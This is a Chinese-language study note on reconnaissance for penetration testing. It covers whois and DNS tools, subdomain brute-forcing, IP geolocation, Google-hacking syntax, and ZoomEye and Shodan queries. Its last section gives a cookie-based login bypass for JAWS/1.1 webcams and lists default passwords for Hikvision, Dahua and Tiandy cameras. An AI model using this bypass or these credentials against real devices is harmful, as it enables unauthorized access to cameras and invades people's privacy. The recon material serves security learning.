信息收集

DNS收集
    kail whois 命令收集 例子：whois baidu.com   尽量查根域名
    站长之家的 whois 查询
DNS解析IP地址
    ping命令
    kail :nslookup工具
         ：dig工具
         ：dnsenum工具  自动检测域传送漏洞（优选）
    站长之家中的工具
    
CDN加速问题
    本意是进行节点缓存，使网络访问速度加快。一般情况下没办法得到目标真实IP
    参考文章 http://www.91ri.org/6233.html
            http://www.91ri.org/3563.html
    
子域名查询
    1.https://searchdns.netcraft.com  在线子域名查询
    2.子域名爆破：子域名挖掘机 Layer工具   //重要的不是工具，是字典
                  kail中命令：   dnsrecon -d 域名 -D 指定字典 -t brt (指定brt模式)
                  
IP查询
    站长之家
    
IP2Location
    通过IP查询地址经纬度。定位物理位置
    https://www.maxmind.com/zh/home  查经纬度
    hhtp://www.gpsspg.com/maps.htm   https://www.earthol.com/gd/ 通过经纬度定位物理地址
    
利用搜索引擎搜集信息  Google hacking/bing/baidu
语法：
    site   指定网站下搜索内容   "关键字" site: baidu.com  
        例子："parent directory" site:testire.net 网站目录结构
    site:testire.net inurl:login 指定网站，指定url
    filetype pdf 指定文件类型

钟馗之眼   https://www.zoomeye.org
    搜索IIS6.0组件  app:"Microsoft IIS httpd" ver:"6.0"
    搜索开了3389端口的windows主机  port:3389 OS:windows
    
https://www.shodan.io 搜索联网设备    
    搜索 JAWS/1.1 公网摄像头  
        默认用户 admin 密码空
登录绕过：然后直接访问 /view2.html
----------
document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie="dvr_pwd=123";
----------
    搜索 Hikvision   海康威摄像头 admin 密码：12345
      大华摄像头 admin 密码：888888  天地伟业 密码：111111